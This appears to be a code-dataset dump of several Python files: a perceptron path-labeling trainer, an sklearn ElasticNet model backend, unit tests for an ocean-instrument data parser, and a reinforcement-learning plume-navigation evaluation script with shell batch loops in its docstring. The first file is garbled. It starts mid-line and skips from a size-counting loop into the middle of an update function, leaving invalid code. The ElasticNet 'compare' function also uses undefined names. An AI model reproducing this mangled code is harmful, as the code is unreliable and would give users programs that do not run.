open(\"toy.json\",encoding='utf8'):\r\n yield json.loads(line)\r\n\r\n\r\ndef cal_size(graphs):\r\n max_l_id=0\r\n max_f_id=0\r\n for g in graphs:\r\n for node in g:\r\n if max_l_id=0:\r\n model.fl_weights[f_id][labels[i]]-=1\r\n if graph[i][-2]>=0:\r\n model.fl_weights[f_id][graph[i][-2]]+=1\r\n else:\r\n correct+=1\r\n g_cache=-1\r\n l_cache=-1\r\n for i in range(len(graph)):\r\n if graph[i][-2]>=0:\r\n if g_cache>=0:\r\n model.ll_weights[g_cache][graph[i][-2]]+=1\r\n g_cache=graph[i][-2]\r\n if labels[i]>=0:\r\n if l_cache>=0:\r\n model.ll_weights[l_cache][labels[i]]-=1\r\n l_cache=labels[i]\r\n return correct\r\ndef decode(model,graph,debugg=0):\r\n values=[[0 for j in range(model.l_size)]for i in range(len(graph))]\r\n alphas=[[[0,-1] for j in range(model.l_size)]for i in range(len(graph))]\r\n labels=[-1 for i in range(len(graph))]\r\n #add values\r\n for i in range(len(graph)):\r\n node=graph[i]\r\n for f_id in node[-1]:\r\n for j in range(model.l_size):\r\n pass\r\n values[i][j]+=model.fl_weights[f_id][j]\r\n \r\n #find best\r\n best_score=[0,-1]\r\n for i in range(len(graph)):\r\n node=graph[i]\r\n #for each node\r\n for j in range(model.l_size):\r\n #for each label\r\n tmp=[0,-1]\r\n for offset in node[1]:\r\n p=i+offset\r\n \r\n #each precedent node\r\n for k in range(model.l_size):\r\n \r\n #each label of the precedent node\r\n score=model.ll_weights[k][j]+alphas[p][k][0]\r\n if tmp[1]==-1 or score>tmp[0]:\r\n tmp=[score,p,k]\r\n tmp[0]+=values[i][j]\r\n alphas[i][j]=tmp\r\n if debugg:\r\n print(i,j,*alphas[i][j])\r\n if node[0]>1:#end of a graph\r\n if best_score[1]==-1 or alphas[i][j][0]>best_score[0]:\r\n best_score=[alphas[i][j][0],i,j]\r\n \r\n #find path\r\n if debugg:\r\n '''\r\n print(\"xxx\")\r\n for x in values:\r\n print(x);\r\n print(*labels)\r\n input()'''\r\n #print(*best_score)\r\n #input()\r\n pass\r\n while True:\r\n #print(best_score)\r\n if best_score[1]==-1:break\r\n labels[best_score[1]]=best_score[2]\r\n best_score=alphas[best_score[1]][best_score[2]]\r\n if debugg:\r\n #print(*labels)\r\n #input()\r\n pass\r\n return labels\r\n\r\ndef learning(model,graphs,debugg):\r\n total,correct=0,0\r\n for graph in graphs:\r\n labels=decode(model,graph,debugg)#find the best path and lebels\r\n total+=len(graph)\r\n #print(*labels)\r\n #print(*[x[3]for x in graph])\r\n #input()\r\n if debugg:\r\n correct+=sum(1 for a,b in zip([x[3]for x in graph],labels) if a==b)\r\n continue\r\n correct+=update(model,graph,labels)#update according to the gold standard\r\n print(total,correct,correct/total)\r\n\r\ndef train():\r\n #init the model\r\n model=Model()\r\n model.l_size,model.f_size=cal_size(gen_graph('toy.txt'))\r\n print(\"Size of labels: {0}, Size of features: {1}\".format(\r\n model.l_size,model.f_size))\r\n model.fl_weights=[[0 for x in range(model.l_size)]\r\n for y in range(model.f_size)]\r\n model.ll_weights=[[0 for x in range(model.l_size)]\r\n for y in range(model.l_size)]\r\n debugg=1\r\n #begin learning\r\n for i in range(10):\r\n print(i)\r\n learning(model,gen_graph('toy.txt'),0)\r\n \r\n debugg=1\r\n learning(model,gen_graph('toy.txt'),1)\r\n return model\r\n\r\n\r\ndef save(model):\r\n arr=array.array(\"i\");\r\n arr.append(model.l_size);\r\n arr.append(model.f_size);\r\n for x in model.ll_weights:\r\n arr.extend(x)\r\n for x in model.fl_weights:\r\n arr.extend(x)\r\n arr.tofile(open(\"model.bin\",'wb'))\r\n\r\nif __name__=='__main__':\r\n model=train()\r\n #save(model)\r\n \r\n","sub_path":" perminusminus/path_labeling/path_labeling.py","file_name":"path_labeling.py","file_ext":"py","file_size_in_byte":4757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"256087209","text":"\"\"\"\n.. module:: ni.model.backend_elasticnet\n :platform: Unix\n :synopsis: Model Backend using sklearn.linear_model.ElasticNet\n\n.. moduleauthor:: Jacob Huth \n\nThis module provides a backend to the .ip model. It wraps the sklearn.linear_model.ElasticNet / ElasticNetCV objects.\n\n\"\"\"\n\nimport warnings\nimport sklearn.linear_model as linear_model \nimport numpy as np\n\nclass Configuration:\n\t\"\"\"\n\t\tDefault Values:\n\n\t\t\tcrossvalidation = True\n\n\t\t\t\tIf true, alpha and l1_ratio will be calculated by crossvalidation.\n\n\t\t\talpha = 0.5\n\n\t\t\tl1_ratio = 1\n\n\t\t\tbe_memory_efficient = True\n\t\t\t\tDoes not keep the data with which it is fitted.\n\t\"\"\"\n\tdef __init__(self):\n\t\tself.crossvalidation = True\n\t\tself.alpha = 0.5\n\t\tself.l1_ratio = 1\n\t\tself.be_memory_efficient = True\nclass Fit:\n\tdef __init__(self, f, m):\n\t\tself.model = m\n\t\tif self.model.configuration.be_memory_efficient:\n\t\t\tself.fit = None\n\t\telse:\n\t\t\tself.fit = f\n\t\tif f is not None:\n\t\t\tself.params = f.coef_\n\t\ttry:\n\t\t\tself.statistics = { 'alpha': f.alpha, 'coef_path_': f.coef_path_, 'intercept': f.intercept_ }\n\t\texcept:\n\t\t\tself.statistics = {}\n\tdef predict(self,X=False):\n\t\treturn self.fit.predict(X)\n\nclass Model:\n\tdef __init__(self, c = False):\n\t\tif type(c)== bool:\n\t\t\tc = Configuration()\n\t\tself.configuration = c\n\t\tif c.crossvalidation == True:\n\t\t\twith warnings.catch_warnings():\n\t\t\t\twarnings.filterwarnings(\"ignore\",category=DeprecationWarning)\n\t\t\t\tself.model = linear_model.ElasticNetCV(fit_intercept=False)#(alpha=self.configuration.alpha, l1_ratio=self.configuration.l1_ratio)\n\t\telse:\n\t\t\tself.model = linear_model.ElasticNet(fit_intercept=False,alpha=c.alpha, l1_ratio=c.l1_ratio)\n\tdef fit(self,x,dm):\n\t\twith warnings.catch_warnings():\n\t\t\twarnings.filterwarnings(\"ignore\",category=DeprecationWarning)\n\t\t\treturn Fit(self.model.fit(dm,x.squeeze()),self)\ndef predict(x,dm):\n\t#model = linear_model.ElasticNetCV(fit_intercept=False)\n\t#model.intercept_ = 0\n\t#model.coef_ = x\n\tprediction = np.dot(dm,x)#model.predict(dm)\n\treturn prediction.squeeze()\ndef compare(x,p,nr_trials=1):\n\tx = x.squeeze()\n\tp = p.squeeze()\n\tbinomial = statsmodels.genmod.families.family.Binomial()\n\tdv = binomial.deviance(x,p)\n\tll = binomial.loglike(x,p)\n\tif isinstance(data, Data) or isinstance(data, ni.data.data.Data):\n\t\tnr_trials = data.nr_trials\n\treturn {'Deviance': dv/nr_trials, 'Deviance_all': dv, 'LogLikelihood': ll/nr_trials, 'LogLikelihood_all': ll}\n","sub_path":"v0.0/ni/model/backend_elasticnet.py","file_name":"backend_elasticnet.py","file_ext":"py","file_size_in_byte":2394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"65257998","text":"#!/usr/bin/env python\n\n\"\"\"\n@package mi.dataset.parser.test.test_spkir_abj_cspp\n@file marine-integrations/mi/dataset/parser/test/test_spkir_abj_cspp.py\n@author Jeff Roy\n@brief Test code for a spkir_abj_cspp data parser\n\nspkir_abj_cspp is based on cspp_base.py\ntest_dosta_abcdjm_cspp.py fully tests all of the capabilities of the\nbase parser. That level of testing is omitted from this test suite\n\"\"\"\n\nimport os\nimport yaml\nimport numpy\n\nfrom nose.plugins.attrib import attr\n\nfrom mi.core.log import get_logger\nlog = get_logger()\n\nfrom mi.idk.config import Config\n\nfrom mi.dataset.test.test_parser import ParserUnitTestCase\nfrom mi.dataset.dataset_driver import DataSetDriverConfigKeys\n\nfrom mi.core.exceptions import RecoverableSampleException\n\nfrom mi.dataset.parser.cspp_base import \\\n StateKey, \\\n METADATA_PARTICLE_CLASS_KEY, \\\n DATA_PARTICLE_CLASS_KEY\n\nfrom mi.dataset.parser.spkir_abj_cspp import \\\n SpkirAbjCsppParser, \\\n SpkirAbjCsppInstrumentTelemeteredDataParticle, \\\n SpkirAbjCsppMetadataTelemeteredDataParticle, \\\n SpkirAbjCsppInstrumentRecoveredDataParticle, \\\n SpkirAbjCsppMetadataRecoveredDataParticle\n\nfrom mi.dataset.driver.spkir_abj.cspp.driver import DataTypeKey\n\nRESOURCE_PATH = os.path.join(Config().base_dir(), 'mi', 'dataset', 'driver', 'spkir_abj', 'cspp', 'resource')\n\n\n@attr('UNIT', group='mi')\nclass SpkirAbjCsppParserUnitTestCase(ParserUnitTestCase):\n \"\"\"\n spkir_abj_cspp Parser unit test suite\n \"\"\"\n def state_callback(self, state, file_ingested):\n \"\"\" Call back method to watch what comes in via the position callback \"\"\"\n self.state_callback_value = state\n self.file_ingested_value = file_ingested\n\n def pub_callback(self, pub):\n \"\"\" Call back method to watch what comes in via the publish callback \"\"\"\n self.publish_callback_value = pub\n\n def exception_callback(self, exception):\n \"\"\" Callback method to watch what comes in via the exception callback \"\"\"\n self.exception_callback_value = exception\n\n def setUp(self):\n ParserUnitTestCase.setUp(self)\n self.config = {\n DataTypeKey.SPKIR_ABJ_CSPP_TELEMETERED: {\n DataSetDriverConfigKeys.PARTICLE_MODULE: 'mi.dataset.parser.spkir_abj_cspp',\n DataSetDriverConfigKeys.PARTICLE_CLASS: None,\n DataSetDriverConfigKeys.PARTICLE_CLASSES_DICT: {\n METADATA_PARTICLE_CLASS_KEY: SpkirAbjCsppMetadataTelemeteredDataParticle,\n DATA_PARTICLE_CLASS_KEY: SpkirAbjCsppInstrumentTelemeteredDataParticle,\n }\n },\n DataTypeKey.SPKIR_ABJ_CSPP_RECOVERED: {\n DataSetDriverConfigKeys.PARTICLE_MODULE: 'mi.dataset.parser.spkir_abj_cspp',\n DataSetDriverConfigKeys.PARTICLE_CLASS: None,\n DataSetDriverConfigKeys.PARTICLE_CLASSES_DICT: {\n METADATA_PARTICLE_CLASS_KEY: SpkirAbjCsppMetadataRecoveredDataParticle,\n DATA_PARTICLE_CLASS_KEY: SpkirAbjCsppInstrumentRecoveredDataParticle,\n }\n },\n }\n\n # Define test data particles and their associated timestamps which will be\n # compared with returned results\n\n self.file_ingested_value = None\n self.state_callback_value = None\n self.publish_callback_value = None\n self.exception_callback_value = None\n\n def particle_to_yml(self, particles, filename, mode='w'):\n \"\"\"\n This is added as a testing helper, not actually as part of the parser tests. Since the same particles\n will be used for the driver test it is helpful to write them to .yml in the same form they need in the\n results.yml fids here.\n \"\"\"\n # open write append, if you want to start from scratch manually delete this fid\n fid = open(os.path.join(RESOURCE_PATH, filename), mode)\n\n fid.write('header:\\n')\n fid.write(\" particle_object: 'MULTIPLE'\\n\")\n fid.write(\" particle_type: 'MULTIPLE'\\n\")\n fid.write('data:\\n')\n\n for i in range(0, len(particles)):\n particle_dict = particles[i].generate_dict()\n\n fid.write(' - _index: %d\\n' % (i+1))\n\n fid.write(' particle_object: %s\\n' % particles[i].__class__.__name__)\n fid.write(' particle_type: %s\\n' % particle_dict.get('stream_name'))\n fid.write(' internal_timestamp: %f\\n' % particle_dict.get('internal_timestamp'))\n\n for val in particle_dict.get('values'):\n if isinstance(val.get('value'), float):\n fid.write(' %s: %16.16f\\n' % (val.get('value_id'), val.get('value')))\n elif isinstance(val.get('value'), str):\n fid.write(\" %s: '%s'\\n\" % (val.get('value_id'), val.get('value')))\n else:\n fid.write(' %s: %s\\n' % (val.get('value_id'), val.get('value')))\n fid.close()\n\n def get_dict_from_yml(self, filename):\n \"\"\"\n This utility routine loads the contents of a yml file\n into a dictionary\n \"\"\"\n\n fid = open(os.path.join(RESOURCE_PATH, filename), 'r')\n result = yaml.load(fid)\n fid.close()\n\n return result\n\n def create_yml(self):\n \"\"\"\n This utility creates a yml file\n \"\"\"\n\n #ADCP_data_20130702.PD0 has one record in it\n fid = open(os.path.join(RESOURCE_PATH, '11079419_PPB_OCR.txt'), 'r')\n\n stream_handle = fid\n parser = SpkirAbjCsppParser(self.config.get(DataTypeKey.SPKIR_ABJ_CSPP_RECOVERED),\n None, stream_handle,\n self.state_callback, self.pub_callback,\n self.exception_callback)\n\n particles = parser.get_records(20)\n\n self.particle_to_yml(particles, '11079419_PPB_OCR_recov.yml')\n fid.close()\n\n def assert_result(self, test, particle):\n \"\"\"\n Suite of tests to run against each returned particle and expected\n results of the same. The test parameter should be a dictionary\n that contains the keys to be tested in the particle\n the 'internal_timestamp' and 'position' keys are\n treated differently than others but can be verified if supplied\n \"\"\"\n\n particle_dict = particle.generate_dict()\n\n #for efficiency turn the particle values list of dictionaries into a dictionary\n particle_values = {}\n for param in particle_dict.get('values'):\n particle_values[param['value_id']] = param['value']\n # log.debug('### building building particle values ###')\n # log.debug('value_id = %s', param['value_id'])\n # log.debug('value = %s', param['value'])\n\n # compare each key in the test to the data in the particle\n for key in test:\n test_data = test[key]\n\n #get the correct data to compare to the test\n if key == 'internal_timestamp':\n particle_data = particle.get_value('internal_timestamp')\n #the timestamp is in the header part of the particle\n elif key == 'position':\n particle_data = self.state_callback_value['position']\n #position corresponds to the position in the file\n else:\n particle_data = particle_values.get(key)\n #others are all part of the parsed values part of the particle\n\n # log.debug('*** assert result: test data key = %s', key)\n # log.debug('*** assert result: test data val = %s', test_data)\n # log.debug('*** assert result: part data val = %s', particle_data)\n\n if particle_data is None:\n #generally OK to ignore index keys in the test data, verify others\n\n log.warning(\"\\nWarning: assert_result ignoring test key %s, does not exist in particle\", key)\n else:\n if isinstance(test_data, float):\n\n # slightly different test for these values as they are floats.\n compare = numpy.abs(test_data - particle_data) <= 1e-5\n # log.debug('*** assert result: compare = %s', compare)\n self.assertTrue(compare)\n else:\n # otherwise they are all ints and should be exactly equal\n self.assertEqual(test_data, particle_data)\n\n def test_simple(self):\n \"\"\"\n Read test data and pull out data particles\n Assert that the results are those we expected.\n \"\"\"\n file_path = os.path.join(RESOURCE_PATH, '11079419_PPB_OCR.txt')\n stream_handle = open(file_path, 'r')\n\n # Note: since the recovered and teelemetered parser and particles are common\n # to each other, testing one is sufficient, will be completely tested\n # in driver tests\n\n parser = SpkirAbjCsppParser(self.config.get(DataTypeKey.SPKIR_ABJ_CSPP_RECOVERED),\n None, stream_handle,\n self.state_callback, self.pub_callback,\n self.exception_callback)\n\n particles = parser.get_records(20)\n\n log.debug(\"*** test_simple Num particles %s\", len(particles))\n\n # check the first particle, which should be the metadata particle (recovered)\n test_data = self.get_dict_from_yml('11079419_PPB_OCR_recov.yml')\n\n # check all the values against expected results.\n\n for i in range(len(particles)):\n\n self.assert_result(test_data['data'][i], particles[i])\n\n stream_handle.close()\n\n def test_get_many(self):\n \"\"\"\n Read test data and pull out multiple data particles at one time.\n Assert that the results are those we expected.\n \"\"\"\n file_path = os.path.join(RESOURCE_PATH, '11079419_PPB_OCR.txt')\n stream_handle = open(file_path, 'r')\n\n # Note: since the recovered and teelemetered parser and particles are common\n # to each other, testing one is sufficient, will be completely tested\n # in driver tests\n\n parser = SpkirAbjCsppParser(self.config.get(DataTypeKey.SPKIR_ABJ_CSPP_RECOVERED),\n None, stream_handle,\n self.state_callback, self.pub_callback,\n self.exception_callback)\n\n # try to get 2000 particles, there are only 1623 data records\n # so should get 1624 including the meta data\n particles = parser.get_records(2000)\n\n log.debug(\"*** test_get_many Num particles %s\", len(particles))\n self.assertEqual(len(particles), 1624)\n\n stream_handle.close()\n\n def test_mid_state_start(self):\n \"\"\"\n This test makes sure that we retrieve the correct particles upon starting with an offset state.\n \"\"\"\n\n file_path = os.path.join(RESOURCE_PATH, '11079419_PPB_OCR.txt')\n stream_handle = open(file_path, 'rb')\n\n # position 1410 is the end of the frist data record, which would have produced the\n # metadata particle and the first instrument particle\n initial_state = {StateKey.POSITION: 1410, StateKey.METADATA_EXTRACTED: True}\n\n parser = SpkirAbjCsppParser(self.config.get(DataTypeKey.SPKIR_ABJ_CSPP_RECOVERED),\n initial_state, stream_handle,\n self.state_callback, self.pub_callback,\n self.exception_callback)\n\n #expect to get the 2nd and 3rd instrument particles next\n particles = parser.get_records(2)\n\n log.debug(\"Num particles: %s\", len(particles))\n\n self.assertTrue(len(particles) == 2)\n\n expected_results = self.get_dict_from_yml('mid_state_start.yml')\n\n for i in range(len(particles)):\n self.assert_result(expected_results['data'][i], particles[i])\n\n # now expect the state to be the end of the 4 data record and metadata sent\n the_new_state = {StateKey.POSITION: 1704, StateKey.METADATA_EXTRACTED: True}\n log.debug(\"********** expected state: %s\", the_new_state)\n log.debug(\"******** new parser state: %s\", parser._state)\n self.assertTrue(parser._state == the_new_state)\n\n stream_handle.close()\n\n def test_set_state(self):\n \"\"\"\n Test changing to a new state after initializing the parser and\n reading data, as if new data has been found and the state has\n changed\n \"\"\"\n\n file_path = os.path.join(RESOURCE_PATH, '11079419_PPB_OCR.txt')\n stream_handle = open(file_path, 'r')\n\n # 11079419_PPB_OCR_20.yml has the metadata and the first 19\n # instrument particles in it\n expected_results = self.get_dict_from_yml('11079419_PPB_OCR_recov.yml')\n\n parser = SpkirAbjCsppParser(self.config.get(DataTypeKey.SPKIR_ABJ_CSPP_RECOVERED),\n None, stream_handle,\n self.state_callback, self.pub_callback,\n self.exception_callback)\n\n particles = parser.get_records(2)\n\n log.debug(\"Num particles: %s\", len(particles))\n\n self.assertTrue(len(particles) == 2)\n\n for i in range(len(particles)):\n self.assert_result(expected_results['data'][i], particles[i])\n\n # position 3656 is the byte at the start of the 18th data record\n new_state = {StateKey.POSITION: 3769, StateKey.METADATA_EXTRACTED: True}\n\n parser.set_state(new_state)\n\n particles = parser.get_records(2)\n\n self.assertTrue(len(particles) == 2)\n\n # offset in the expected results\n offset = 18\n for i in range(len(particles)):\n self.assert_result(expected_results['data'][i + offset], particles[i])\n\n stream_handle.close()\n\n def test_bad_data(self):\n \"\"\"\n Ensure that bad data is skipped when it exists.\n \"\"\"\n\n # the first data record in this file is corrupted and will be ignored\n # we expect the first 2 particles to be the metadata particle and the\n # intrument particle from the data record after the corrupted one\n\n file_path = os.path.join(RESOURCE_PATH, '11079419_BAD_PPB_OCR.txt')\n stream_handle = open(file_path, 'rb')\n\n log.info(self.exception_callback_value)\n\n parser = SpkirAbjCsppParser(self.config.get(DataTypeKey.SPKIR_ABJ_CSPP_RECOVERED),\n None, stream_handle,\n self.state_callback, self.pub_callback,\n self.exception_callback)\n\n particles = parser.get_records(2)\n\n expected_results = self.get_dict_from_yml('bad_data_record.yml')\n\n self.assertTrue(len(particles) == 2)\n\n for i in range(len(particles)):\n self.assert_result(expected_results['data'][i], particles[i])\n\n stream_handle.close()\n\n def test_extra_data(self):\n\n \"\"\"\n Ensure that bad data is skipped when it exists.\n \"\"\"\n\n # the first 2 data record in this file are corrupted by adding additional\n # data vlaues separated by tabs and will be ignored\n # we expect the first 2 particles to be the metadata particle and the\n # intrument particle from the data record after the corrupted one\n\n file_path = os.path.join(RESOURCE_PATH, '11079364_EXTRA_DATA_PPD_OCR.txt')\n\n stream_handle = open(file_path, 'rb')\n\n log.info(self.exception_callback_value)\n\n parser = SpkirAbjCsppParser(self.config.get(DataTypeKey.SPKIR_ABJ_CSPP_RECOVERED),\n None, stream_handle,\n self.state_callback, self.pub_callback,\n self.exception_callback)\n\n particles = parser.get_records(2)\n\n self.assertTrue(self.exception_callback_value != None)\n\n self.assert_(isinstance(self.exception_callback_value, RecoverableSampleException))\n\n # expect to see a recoverable sample exception in the log\n log.debug('TEST EXTRA DATA exception call back is %s', self.exception_callback_value)\n\n expected_results = self.get_dict_from_yml('extra_data_values.yml')\n\n self.assertTrue(len(particles) == 2)\n\n # since the first two records were corrupted the first records recieved\n # should be metadata particle with the timestamp of the 3rd data row\n # and the insturment particle from the 3rd row\n\n for i in range(len(particles)):\n self.assert_result(expected_results['data'][i], particles[i])\n\n stream_handle.close()\n","sub_path":"mi/dataset/parser/test/test_spkir_abj_cspp.py","file_name":"test_spkir_abj_cspp.py","file_ext":"py","file_size_in_byte":16794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"68605446","text":"\"\"\"\nZOODIR=/home/satsingh/plume/plumezoo/latest/fly/memory/\n\nZOODIR=/home/satsingh/plume/plumezoo/latest/fly_all/memory/\n\n# Test RNN/MLP\npython -u evalCli.py --test_episodes 3 --model_fname $(find $ZOODIR -name \"*VRNN*.pt\" | head -n 1)\npython -u evalCli.py --test_episodes 3 --model_fname $(find $ZOODIR -name \"*MLP_s*.pt\" | head -n 1)\n\n# Actual\nFNAMES=$(ls $ZOODIR/*VRNN*.pt)\nFNAMES=$(ls $ZOODIR/plume_20210418_VRNN_constantx5b5noisy6x5b5_bx1.0_t1M_w3_stepoob_h64_wd0.01_codeVRNN_seed19507d3.pt)\nfor DATASET in constantx5b5; do\n\nFNAMES=$(find . -name \"*VRNN*.pt\")\nFNAMES=$(ls $ZOODIR/*.pt)\nFNAMES=$(find . -name \"*.pt\")\nFNAMES=$(find . -name \"*MLP*.pt\")\necho $FNAMES\n\n\nMAXJOBS=2\nMAXJOBS=4\nMAXJOBS=24\nfor DATASET in constantx5b5 switch45x5b5 noisy6x5b5 noisy1x5b5 noisy2x5b5 noisy3x5b5 noisy4x5b5 noisy5x5b5; do\nfor DATASET in noisy1x5b5 noisy2x5b5 noisy3x5b5 noisy4x5b5 noisy5x5b5; do\n\nfor DATASET in constantx5b5; do\nfor DATASET in constantx5b5 switch45x5b5 noisy3x5b5; do\nfor FNAME in $FNAMES; do\n while (( $(jobs -p | wc -l) >= MAXJOBS )); do echo \"Sleeping...\"; sleep 10; done \n\n LOGFILE=$(echo $FNAME | sed s/.pt/_${DATASET}.evallog/g)\n nice python -u ~/plume/plume2/ppo/evalCli.py \\\n --dataset $DATASET \\\n --fixed_eval \\\n --viz_episodes 20 \\\n --model_fname $FNAME >> $LOGFILE 2>&1 &\n done\ndone\n\ntail -f *.evallog\nkill -9 $(jobs -p)\n\n\n# Fix missing stuff \nMAXJOBS=24\nfor DATASET in constantx5b5 switch15x5b5 switch30x5b5 switch45x5b5 noisy3x5b5 noisy6x5b5; do\n for DIR in $(ls -d plume*/); do \n HASREPORT=$(find $DIR -name ${DATASET}_summary.csv | wc -l)\n if [ $HASREPORT -eq 0 ]; then\n while (( $(jobs -p | wc -l) >= MAXJOBS )); do sleep 10; done\n echo $DATASET $DIR\n FNAME=${DIR%/}.pt\n LOGFILE=$(echo $FNAME | sed s/.pt/_${DATASET}.evallog/g)\n nice python -u ~/plume/plume2/ppo/evalCli.py \\\n --dataset $DATASET \\\n --fixed_eval \\\n --viz_episodes 20 \\\n --model_fname $FNAME >> $LOGFILE 2>&1 &\n fi\n done\ndone\n\n\n# fixed-eval-schedule\npython -u evalCli.py --fixed_eval --viz_episodes 1 --model_fname $(find $ZOODIR -name \"*VRNN*.pt\" | head -n 1)\n\npython -u evalCli.py --fixed_eval --viz_episodes 5 --model_fname $(find . -name \"*VRNN*.pt\" | head -n 1)\n \nls *.pt | wc -l\nls */constantx5b5_summary.csv | wc -l\nls */switch45x5b5_summary.csv | wc -l\nls */noisy3x5b5_summary.csv | wc -l\nls */noisy6x5b5_summary.csv | wc -l\n\n\"\"\"\nfrom __future__ import division\nimport warnings\nwarnings.simplefilter(action='ignore', category=FutureWarning)\nimport traceback\n\nimport os\nos.environ[\"OMP_NUM_THREADS\"] = \"1\"\nos.environ[\"CUDA_DEVICE_ORDER\"]=\"PCI_BUS_ID\" # see issue #152\nos.environ[\"CUDA_VISIBLE_DEVICES\"]=\"\"\n\nimport torch\nimport argparse\nimport os\nimport sys\nimport numpy as np\nimport torch\nimport pandas as pd\nimport pickle\n\nimport matplotlib \nmatplotlib.use(\"Agg\")\nimport matplotlib.pyplot as plt\n\nimport numpy as np\nfrom pprint import pprint\nimport glob\nimport sys\nsys.path.append('/home/satsingh/plume/plume2/')\nfrom plume_env import PlumeEnvironment, PlumeFrameStackEnvironment\nimport agents\nimport agent_analysis\nimport os\nimport log_analysis\n\nfrom a2c_ppo_acktr.envs import VecPyTorch, make_vec_envs\nfrom a2c_ppo_acktr.utils import get_render_func, get_vec_normalize\n\n### UTILITY ###\ndef evaluate_agent(actor_critic, env, args):\n num_tests = 0\n reward_total_sum = 0\n episode_logs = []\n episode_summaries = []\n venv = env.unwrapped.envs[0].venv\n\n # Fixed evaluation assay\n # Fixed eval meshgrid:\n # 2 timestamps X 3 x-locations X 5 y-locations X 8 angles = 240 runs \n if args.fixed_eval:\n venv.loc_algo = 'fixed'\n venv.angle_algo = 'fixed'\n venv.time_algo = 'fixed' \n \n grids = []\n for venv.fixed_x in [4.0, 6.0, 8.0]:\n for venv.fixed_time_offset in [0.0, 1.0]: # time_offset\n env.reset()\n\n # Figure out extent of plume in y-direction\n Z = venv.get_abunchofpuffs()\n X_mean, X_var = venv.fixed_x, 0.5 # fixed_x +/- band\n Z = pd.DataFrame(Z)\n Yqs = Z.query(\"(x >= (@X_mean - @X_var)) and (x <= (@X_mean + @X_var))\")['y'].quantile([0.0,1.0]).to_numpy()\n y_min, y_max = Yqs[0], Yqs[1]\n\n y_stray = 0.5\n if ('switch' in args.dataset) or ('noisy' in args.dataset):\n y = np.linspace(y_min, y_max, 5) # Don't start outside plume\n else: \n y = np.linspace(y_min, y_max, 3) # Can start off plume \n y = np.concatenate([ [y_min - y_stray], y, [y_max + y_stray] ]) # 5 now\n a = np.linspace(0, 2, 9)[:8]*np.pi # angle\n\n # print(f\"At {venv.t_val}s: y_min {y_min}, y_max {y_max}; Grid: {y}\")\n grid = np.meshgrid(y, a)\n grid = np.array(grid).reshape(2, -1).T # [loc_y, angle]\n\n # Add loc_x & time \n grid = pd.DataFrame(grid)\n grid.columns = ['loc_y', 'angle']\n grid['loc_x'] = venv.fixed_x\n grid['time'] = venv.fixed_time_offset\n\n grids.append(grid)\n\n grid = pd.concat(grids).to_numpy() # Stack\n args.test_episodes = grid.shape[0]\n print(f\"Using fixed evaluation sequence [time, angle, loc_y]... ({args.test_episodes} episodes) \")\n\n\n for i_episode in range(args.test_episodes):\n\n if args.fixed_eval:\n venv.fixed_y = grid[i_episode, 0] # meters\n venv.fixed_angle = grid[i_episode, 1] # radians\n venv.fixed_x = grid[i_episode, 2] # meters\n venv.fixed_time_offset = grid[i_episode, 3] # seconds\n\n recurrent_hidden_states = torch.zeros(1, \n actor_critic.recurrent_hidden_state_size, device='cpu')\n masks = torch.zeros(1, 1, device='cpu')\n obs = env.reset()\n\n reward_sum = 0 \n ep_step = 0\n trajectory = []\n observations = []\n actions = []\n rewards = []\n infos = []\n activities = []\n\n\n while True:\n with torch.no_grad():\n value, action, _, recurrent_hidden_states, activity = actor_critic.act(\n obs, \n recurrent_hidden_states, \n masks, \n deterministic=True)\n\n obs, reward, done, info = env.step(action)\n masks.fill_(0.0 if done else 1.0)\n\n _obs = obs.detach().numpy()\n _reward = reward.detach().numpy().squeeze()\n _info = info[0] \n _action = action.detach().numpy().squeeze()\n _done = done\n\n _reward = (_reward + 100) if _reward > 9 else _reward # HACK! Unsure/Debug!\n reward_sum += _reward\n\n if args.squash_action:\n action = (np.tanh(action) + 1)/2\n\n trajectory.append( _info['location'] )\n observations.append( _obs )\n actions.append( _action )\n rewards.append( _reward )\n infos.append( [_info] )\n activities.append( {\n 'rnn_hxs': activity['rnn_hxs'].detach().numpy().squeeze(),\n 'hx1_actor': activity['hx1_actor'].detach().numpy().squeeze(),\n # 'hx1_critic': activity['hx1_critic'].detach().numpy().squeeze(), # don't care\n # 'hidden_actor': activity['hidden_actor'].detach().numpy().squeeze(), # don't care\n # 'hidden_critic': activity['hidden_critic'].detach().numpy().squeeze(), # don't care\n 'value': activity['value'].detach().numpy().squeeze(),\n } )\n\n ep_step += 1\n\n if _done:\n num_tests += 1\n reward_total_sum += reward_sum\n reward_mean = reward_total_sum / num_tests\n break\n\n n_steps = len(trajectory)\n print(f\"Episode: {i_episode}, reward_sum: {reward_sum}, Steps: {n_steps}, Reason: {_info['done']}\")\n\n\n episode_log = {\n 'trajectory': trajectory,\n 'observations': observations,\n 'actions': actions,\n 'rewards': rewards,\n 'infos': infos,\n 'activity': activities,\n }\n episode_logs.append(episode_log)\n\n episode_summary = {\n 'idx': i_episode,\n 'reward_sum': reward_sum.item(),\n 'n_steps': n_steps,\n 'reason': _info['done'],\n }\n episode_summaries.append(episode_summary)\n\n\n return episode_logs, episode_summaries\n\n\n### BACK TO MAIN ###\ndef eval_loop(args, actor_critic, test_sparsity=True):\n try:\n # Common output directory\n OUTPREFIX = args.model_fname.replace(\".pt\", \"/\")\n os.makedirs(OUTPREFIX, exist_ok=True)\n\n #### ------- Nonsparse ------- #### \n env = make_vec_envs(\n args.env_name,\n args.seed + 1000,\n num_processes=1,\n gamma=0.99, # redundant\n log_dir=None, # redundant\n device='cpu',\n args=args,\n allow_early_resets=False)\n\n if 'switch' in args.dataset: \n venv = env.unwrapped.envs[0].venv\n venv.qvar = 0.0\n venv.t_val_min = 58.0\n venv.reset_offset_tmax = 3.0\n venv.diff_max = 0.9\n venv.reload_dataset()\n\n episode_logs, episode_summaries = evaluate_agent(actor_critic, env, args)\n\n fname3 = f\"{OUTPREFIX}/{args.dataset}.pkl\"\n with open(fname3, 'wb') as f_handle:\n pickle.dump(episode_logs, f_handle)\n print(\"Saving\", fname3)\n\n fname3 = f\"{OUTPREFIX}/{args.dataset}_summary.csv\"\n pd.DataFrame(episode_summaries).to_csv(fname3)\n print(\"Saving\", fname3)\n\n\n zoom = 1 if 'constant' in args.dataset else 2 \n zoom = 3 if args.walking else zoom\n agent_analysis.visualize_episodes(episode_logs[:args.viz_episodes], \n zoom=zoom, \n dataset=args.dataset,\n animate=False, # Quick plot\n fprefix=args.dataset,\n 